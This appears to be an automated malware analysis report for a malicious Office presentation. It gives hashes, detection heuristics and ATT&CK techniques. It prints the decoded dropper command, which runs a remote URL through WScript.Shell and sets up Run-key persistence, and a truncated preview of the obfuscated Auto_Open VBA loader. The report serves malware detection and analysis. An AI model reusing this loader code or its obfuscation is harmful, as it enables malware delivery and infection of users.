Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ebc082ddd286e36d…

MALICIOUS

Office (OOXML)

13.3 KB First seen: 2020-02-04
MD5: 563b2be6a84bbabe9ac9c68dbde651b9 SHA-1: 1edc5475e0110592279106808ccb8d81f6058bc0 SHA-256: ebc082ddd286e36d2f6ef994cc8a4a2b94cfebed1d30846ae23ab5d2e5b1c9da
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic for an obfuscated auto-exec VBA loader, specifically an Auto_Open macro that uses CreateObject to execute a command. The script attempts to reconstruct the command string 'CreateObject("WScript.Shell").Run("http://spthathsme.uedal-us.eu/IINJyiG/ue.lu-us.eu",0)' and also attempts to establish persistence via the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. This indicates the document's primary purpose is to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7131884-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7131884-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4800 bytes
SHA-256: b8b16c0227f7dc14731a9e8063a981f26fb79b88e0d5b7b8b71973255c8784b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "h3aoNZgzr"
Public Function lNPi86h8k()
lNPi86h8k = Environ(StrReverse(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("P"))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("m"))) + v5Iwu2XJh("E") + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("t")))))))))))) + StrReverse(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("s"))))))))) + v5Iwu2XJh(v5Iwu2XJh("b")) + v5Iwu2XJh("v") + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(".")))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("e")))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("u")))) + v5Iwu2XJh("Z") + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("l"))))) + v5Iwu2XJh("0") + v5Iwu2XJh(v5Iwu2XJh("a")) + v5Iwu2XJh("C") + v5Iwu2XJh(v5Iwu2XJh("g")) + v5Iwu2XJh("k") + v5Iwu2XJh("\"))
End Function
Public Sub Auto_Open()
qkvpPxSm6 = "CreateObject(StrReverse(""l"" + ""L"" + ""e"" + ""H"" + ""s"" + ""."" + ""t"" + ""P"" + ""i"" + ""R"" + ""c"" + ""S"" + ""w"")).rUn(StrReverse(""I"" + ""s"" + ""I"" + ""N"" + ""J"" + ""y"" + ""i"" + ""G"" + ""/"" + ""u"" + ""e"" + ""."" + ""l"" + ""u"" + ""-"" + ""s"" + ""."" + ""u"" + ""e"" + ""d"" + ""a"" + ""t"" + ""/"" + ""/"" + "":"" + ""s"" + ""p"" + ""t"" + ""t"" + ""h a"" + ""t"" + ""h"" + ""s"" + ""m"")),0"
Set ixS = CreateObject(StrReverse(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("t")))))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("c")))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("e")))))))) + v5Iwu2XJh("j") + v5Iwu2XJh(v5Iwu2XJh("b")) + v5Iwu2XJh("O") + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("m" + _
""))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("e")))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("t")))))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("s"))))))))) + v5Iwu2XJh(v5Iwu2XJh("y")) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("S")))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("e")))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("l"))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("i"))))))) + v5Iwu2XJh("F") + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(".")))))) + v5Iwu2XJh(v5Iwu2XJh("g")) + v5Iwu2XJh("n") + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("i"))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("t")))))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("p" + _
""))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("i"))))))) + v5Iwu2XJh(v5Iwu2XJh("r")) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("c")))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("S"))))))
Set jAkLVpriW = ixS.CreateTextFile(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(""))) + lNPi86h8k + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(""))), True)
jAkLVpriW.WriteLine (qkvpPxSm6)
jAkLVpriW.Close
CreateObject(StrReverse(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("l"))))) + v5Iwu2XJh(v5Iwu2XJh("L")) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("e")))))))) + v5Iwu2XJh(v5Iwu2XJh("H")) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("s"))))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("." + _
"")))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("t")))))))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("P"))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("i"))))))) + v5Iwu2XJh(v5Iwu2XJh("R")) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("c")))))) + v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh("S")))) + v5Iwu2XJh(v5Iwu2XJh("w")))).Run v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(v5Iwu2XJh(
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 30720 bytes
SHA-256: 0247ee497b3056d3152b6326c418d12db30180d1fa136898a3dad17dde47a428

Open this report in the interactive analyzer, or submit your own file for analysis.